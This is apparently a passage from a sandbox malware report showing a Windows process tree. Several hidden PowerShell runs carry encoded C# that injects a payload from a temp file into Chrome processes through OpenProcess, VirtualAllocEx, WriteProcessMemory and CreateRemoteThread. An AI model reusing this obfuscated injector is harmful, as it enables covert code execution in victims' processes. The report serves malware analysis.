                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            7⤵
                                                                                                                                                                              PID:5752
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:2220
                                                                                                                                                                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                              C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADIAMgAyADAAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADIAMwBGAEUALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:5904
                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5l04dczj\5l04dczj.cmdline"
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:1672
                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4DE7.tmp" "c:\Users\Admin\AppData\Local\Temp\5l04dczj\CSC98C05EA56EF3463291CB5694F41B4164.TMP"
                                                                                                                                                                                      8⤵
                                                                                                                                                                                        PID:4892
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:5660
                                                                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUANgA2ADAAOwAkAGIAIAA9ACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAHQAbQBwADMAMwAwADMALgB0AG0AcAAnADsAIAAkAGYAcgBhAGcAbQBlAG4AdABzACAAPQAgAEAAKAAnAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AJwAsACcAaQB0AGkAbwBuACAAQAAiAAoAdQBzAGkAbgBnACAAUwB5AHMAJwAsACcAdABlAG0AOwAgAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgAnACwAJwB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpACcALAAnAGMAZQBzADsACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgACcALAAnAFgAewAgAGMAbwBuAHMAdAAgAHUAaQBuAHQAIABBAD0AMAB4ADAAJwAsACcAMAAwADIALABCAD0AMAB4ADAANAAwADAALABDAD0AMAB4ADAAMAAnACwAJwAwADgALABEAD0AMAB4ADAAMAAyADAALABFAD0AMAB4ADAAMAAxACcALAAnADAAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAASQBuAHQAUAB0AHIAIABPAHAAZQBuAFAAcgBvAGMAZQAnACwAJwBzAHMAKAB1AGkAbgB0ACAAeAAsAGIAbwBvAGwAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACcALAAnACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAJwAsACcAZQB4AHQAZQByAG4AIABiAG8AbwBsACAAQwBsAG8AcwBlAEgAYQAnACwAJwBuAGQAbABlACgASQBuAHQAUAB0AHIAIAB4ACkAOwAKAFsARAAnACwAJwBsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACcALAAnACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAJwAsACcAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwBFAHgAKAAnACwAJwBJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAB1ACcALAAnAGkAbgB0ACAAegAsAHUAaQBuAHQAIABhACwAdQBpAG4AdAAgAGIAJwAsACcAKQA7AAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAJwAsACcAbgBlAGwAMwAyACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQAnACwAJwByAG4AIABiAG8AbwBsACAAVwByAGkAdABlAFAAcgBvAGMAZQBzACcALAAnAHMATQBlAG0AbwByAHkAKABJAG4AdABQAHQAcgAgAHgALABJAG4AJwAsACcAdABQAHQAcgAgAHkALABiAHkAdABlAFsAXQAgAHoALAB1AGkAbgAnACwAJwB0ACAAYQAsAG8AdQB0ACAAdQBpAG4AdAAgAGIAKQA7AAoAWwAnACwAJwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACcALAAnACIAKQBdAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABiAG8AJwAsACcAbwBsACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0AEUAeAAnACwAJwAoAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsACcALAAnAFUASQBuAHQAUAB0AHIAIAB6ACwAdQBpAG4AdAAgAGEALABvAHUAJwAsACcAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEYAbAB1ACcALAAnAHMAaABJAG4AcwB0AHIAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAVQAnACwAJwBJAG4AdABQAHQAcgAgAHoAKQA7AAoAWwBEAGwAbABJAG0AcAAnACwAJwBvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAHMAdABhACcALAAnAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAJwAsACcAcgBlAGEAdABlAFIAZQBtAG8AdABlAFQAaAByAGUAYQBkACgASQAnACwAJwBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQBpACcALAAnAG4AdAAgAHoALABJAG4AdABQAHQAcgAgAGEALABJAG4AdABQAHQAJwAsACcAcgAgAGIALAB1AGkAbgB0ACAAYwAsAEkAbgB0AFAAdAByACAAZAAnACwAJwApADsACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAYgAnACwAJwBvAG8AbAAgAFIAKAB1AGkAbgB0ACAAcAAsAGIAeQB0AGUAWwBdACcALAAnACAAZAApAHsASQBuAHQAUAB0AHIAIABoAD0ATwBwAGUAbgBQAHIAJwAsACcAbwBjAGUAcwBzACgAQQB8AEIAfABDAHwARAB8AEUALABmAGEAbAAnACwAJwBzAGUALABwACkAOwAKAGkAZgAoAGgAPQA9AEkAbgB0AFAAdAAnACwAJwByAC4AWgBlAHIAbwApAHIAZQB0AHUAcgBuACAAZgBhAGwAcwBlACcALAAnADsASQBuAHQAUAB0AHIAIABtAD0AVgBpAHIAdAB1AGEAbABBAGwAJwAsACcAbABvAGMARQB4ACgAaAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAnACwAJwAsACgAdQBpAG4AdAApAGQALgBMAGUAbgBnAHQAaAAsADAAeAAzACcALAAnADAAMAAwAHwAMAB4ADIAMAAwADAALAAwAHgANAAwACkAOwAKACcALAAnAGkAZgAoAG0APQA9AEkAbgB0AFAAdAByAC4AWgBlAHIAbwApAHsAJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIABmAGEAbABzAGUAOwB9AHUAaQBuAHQAIABvADsAIABpACcALAAnAGYAKAAhAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABoACwAbQAsACgAVQBJAG4AdABQAHQAcgApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsADAAeAA0ADAALABvAHUAdAAgAG8AKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoAdQBpAG4AdAAgAHcAOwBpAGYAJwAsACcAKAAhAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgAnACwAJwB5ACgAaAAsAG0ALABkACwAKAB1AGkAbgB0ACkAZAAuAEwAZQBuACcALAAnAGcAdABoACwAbwB1AHQAIAB3ACkAKQB7AEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACAAZgBhAGwAcwAnACwAJwBlADsAfQAKAGkAZgAoACEARgBsAHUAcwBoAEkAbgBzAHQAcgAnACwAJwB1AGMAdABpAG8AbgBDAGEAYwBoAGUAKABoACwAbQAsACgAVQBJACcALAAnAG4AdABQAHQAcgApAGQALgBMAGUAbgBnAHQAaAApACkAewBDAGwAJwAsACcAbwBzAGUASABhAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAnACwAJwAgAGYAYQBsAHMAZQA7AH0ACgBJAG4AdABQAHQAcgAgAHQAPQAnACwAJwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoACcALAAnAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8ALAAwACwAbQAsAEkAJwAsACcAbgB0AFAAdAByAC4AWgBlAHIAbwAsADAALABJAG4AdABQAHQAcgAnACwAJwAuAFoAZQByAG8AKQA7AAoAaQBmACgAdAA9AD0ASQBuAHQAUAAnACwAJwB0AHIALgBaAGUAcgBvACkAewBDAGwAbwBzAGUASABhAG4AZABsACcALAAnAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQA7AH0AJwAsACcAQwBsAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQAnACwAJwByAG4AIAB0AHIAdQBlADsAfQB9AAoAIgBAACAALQBMAGEAbgAnACwAJwBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAKACQAZAA9AFsAQwAnACwAJwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0ACcALAAnAFMAdAByAGkAbgBnACgAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAJwAsACcAIAAtAFIAYQB3ACAAJABiACkAKQAKAFsAWABdADoAOgBSACgAJwAsACcAWwB1AGkAbgB0ADMAMgBdACQAYQAsACQAZAApACcAKQA7ACAAJABzAGMAcgBpAHAAdAAgAD0AIAAkAGYAcgBhAGcAbQBlAG4AdABzACAALQBqAG8AaQBuACAAJwAnADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAHMAYwByAGkAcAB0AA==
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:1860
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:536
                                                                                                                                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                          C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JABhACAAPQAgADUAMwA2ADsAJABiACAAPQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB0AG0AcAAzAEYARQA1AC4AdABtAHAAJwA7ACAAJABmAHIAYQBnAG0AZQBuAHQAcwAgAD0AIABAACgAJwBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuACcALAAnAGkAdABpAG8AbgAgAEAAIgAKAHUAcwBpAG4AZwAgAFMAeQBzACcALAAnAHQAZQBtADsAIAB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAJwAsACcAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQAnACwAJwBjAGUAcwA7AAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIAAnACwAJwBYAHsAIABjAG8AbgBzAHQAIAB1AGkAbgB0ACAAQQA9ADAAeAAwACcALAAnADAAMAAyACwAQgA9ADAAeAAwADQAMAAwACwAQwA9ADAAeAAwADAAJwAsACcAMAA4ACwARAA9ADAAeAAwADAAMgAwACwARQA9ADAAeAAwADAAMQAnACwAJwAwADsACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgAnACwAJwBuAGUAbAAzADIAIgApAF0AcwB0AGEAdABpAGMAIABlAHgAdABlACcALAAnAHIAbgAgAEkAbgB0AFAAdAByACAATwBwAGUAbgBQAHIAbwBjAGUAJwAsACcAcwBzACgAdQBpAG4AdAAgAHgALABiAG8AbwBsACAAeQAsAHUAaQAnACwAJwBuAHQAIAB6ACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAnACwAJwAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgACcALAAnAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAEMAbABvAHMAZQBIAGEAJwAsACcAbgBkAGwAZQAoAEkAbgB0AFAAdAByACAAeAApADsACgBbAEQAJwAsACcAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgAnACwAJwApAF0AcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0ACcALAAnAFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMARQB4ACgAJwAsACcASQBuAHQAUAB0AHIAIAB4ACwASQBuAHQAUAB0AHIAIAB5ACwAdQAnACwAJwBpAG4AdAAgAHoALAB1AGkAbgB0ACAAYQAsAHUAaQBuAHQAIABiACcALAAnACkAOwAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByACcALAAnAG4AZQBsADMAMgAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAJwAsACcAcgBuACAAYgBvAG8AbAAgAFcAcgBpAHQAZQBQAHIAbwBjAGUAcwAnACwAJwBzAE0AZQBtAG8AcgB5ACgASQBuAHQAUAB0AHIAIAB4ACwASQBuACcALAAnAHQAUAB0AHIAIAB5ACwAYgB5AHQAZQBbAF0AIAB6ACwAdQBpAG4AJwAsACcAdAAgAGEALABvAHUAdAAgAHUAaQBuAHQAIABiACkAOwAKAFsAJwAsACcARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAnACwAJwAiACkAXQBzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvACcALAAnAG8AbAAgAFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdABFAHgAJwAsACcAKABJAG4AdABQAHQAcgAgAHgALABJAG4AdABQAHQAcgAgAHkALAAnACwAJwBVAEkAbgB0AFAAdAByACAAegAsAHUAaQBuAHQAIABhACwAbwB1ACcALAAnAHQAIAB1AGkAbgB0ACAAYgApADsACgBbAEQAbABsAEkAbQBwACcALAAnAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIAIgApAF0AcwB0AGEAJwAsACcAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABGAGwAdQAnACwAJwBzAGgASQBuAHMAdAByAHUAYwB0AGkAbwBuAEMAYQBjAGgAZQAoACcALAAnAEkAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsAFUAJwAsACcASQBuAHQAUAB0AHIAIAB6ACkAOwAKAFsARABsAGwASQBtAHAAJwAsACcAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQBzAHQAYQAnACwAJwB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDACcALAAnAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBUAGgAcgBlAGEAZAAoAEkAJwAsACcAbgB0AFAAdAByACAAeAAsAEkAbgB0AFAAdAByACAAeQAsAHUAaQAnACwAJwBuAHQAIAB6ACwASQBuAHQAUAB0AHIAIABhACwASQBuAHQAUAB0ACcALAAnAHIAIABiACwAdQBpAG4AdAAgAGMALABJAG4AdABQAHQAcgAgAGQAJwAsACcAKQA7AAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGIAJwAsACcAbwBvAGwAIABSACgAdQBpAG4AdAAgAHAALABiAHkAdABlAFsAXQAnACwAJwAgAGQAKQB7AEkAbgB0AFAAdAByACAAaAA9AE8AcABlAG4AUAByACcALAAnAG8AYwBlAHMAcwAoAEEAfABCAHwAQwB8AEQAfABFACwAZgBhAGwAJwAsACcAcwBlACwAcAApADsACgBpAGYAKABoAD0APQBJAG4AdABQAHQAJwAsACcAcgAuAFoAZQByAG8AKQByAGUAdAB1AHIAbgAgAGYAYQBsAHMAZQAnACwAJwA7AEkAbgB0AFAAdAByACAAbQA9AFYAaQByAHQAdQBhAGwAQQBsACcALAAnAGwAbwBjAEUAeAAoAGgALABJAG4AdABQAHQAcgAuAFoAZQByAG8AJwAsACcALAAoAHUAaQBuAHQAKQBkAC4ATABlAG4AZwB0AGgALAAwAHgAMwAnACwAJwAwADAAMAB8ADAAeAAyADAAMAAwACwAMAB4ADQAMAApADsACgAnACwAJwBpAGYAKABtAD0APQBJAG4AdABQAHQAcgAuAFoAZQByAG8AKQB7ACcALAAnAEMAbABvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAJwAsACcAcgBuACAAZgBhAGwAcwBlADsAfQB1AGkAbgB0ACAAbwA7ACAAaQAnACwAJwBmACgAIQBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQARQB4ACcALAAnACgAaAAsAG0ALAAoAFUASQBuAHQAUAB0AHIAKQBkAC4ATABlAG4AJwAsACcAZwB0AGgALAAwAHgANAAwACwAbwB1AHQAIABvACkAKQB7AEMAbAAnACwAJwBvAHMAZQBIAGEAbgBkAGwAZQAoAGgAKQA7AHIAZQB0AHUAcgBuACcALAAnACAAZgBhAGwAcwBlADsAfQAKAHUAaQBuAHQAIAB3ADsAaQBmACcALAAnACgAIQBXAHIAaQB0AGUAUAByAG8AYwBlAHMAcwBNAGUAbQBvAHIAJwAsACcAeQAoAGgALABtACwAZAAsACgAdQBpAG4AdAApAGQALgBMAGUAbgAnACwAJwBnAHQAaAAsAG8AdQB0ACAAdwApACkAewBDAGwAbwBzAGUASABhACcALAAnAG4AZABsAGUAKABoACkAOwByAGUAdAB1AHIAbgAgAGYAYQBsAHMAJwAsACcAZQA7AH0ACgBpAGYAKAAhAEYAbAB1AHMAaABJAG4AcwB0AHIAJwAsACcAdQBjAHQAaQBvAG4AQwBhAGMAaABlACgAaAAsAG0ALAAoAFUASQAnACwAJwBuAHQAUAB0AHIAKQBkAC4ATABlAG4AZwB0AGgAKQApAHsAQwBsACcALAAnAG8AcwBlAEgAYQBuAGQAbABlACgAaAApADsAcgBlAHQAdQByAG4AJwAsACcAIABmAGEAbABzAGUAOwB9AAoASQBuAHQAUAB0AHIAIAB0AD0AJwAsACcAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAKAAnACwAJwBoACwASQBuAHQAUAB0AHIALgBaAGUAcgBvACwAMAAsAG0ALAB